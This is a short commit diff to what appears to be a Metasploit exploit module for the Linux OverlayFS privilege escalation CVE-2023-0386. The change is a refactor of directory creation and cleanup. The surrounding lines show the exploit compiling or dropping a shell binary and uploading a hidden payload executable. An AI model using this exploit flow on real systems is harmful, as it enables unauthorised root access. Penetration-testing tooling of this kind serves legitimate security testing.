Use mkdir function

Author: Takahiro-Yoko

modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb

@@ -122,7 +122,9 @@ def exploit
       fail_with(Failure::BadConfig, 'Exploit dir already exists')
     end
 
-    cmd_exec("mkdir -p #{exploit_dir}")
+    mkdir(exploit_dir)
+    register_dir_for_cleanup(exploit_dir)
+
     if live_compile? && command_exists?('xxd')
       vprint_status('Live compiling exploit on system...')
       upload_and_compile("#{exploit_dir}/shell", exploit_source('CVE-2023-0386', 'getshell.c'))
@@ -134,7 +136,6 @@ def exploit
       vprint_status('Dropping pre-compiled exploit on system...')
       upload_and_chmodx("#{exploit_dir}/cve-2023-0386", exploit_data('CVE-2023-0386', 'cve-2023-0386'))
     end
-    register_dir_for_cleanup(exploit_dir)
 
     # Upload payload executable
     payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"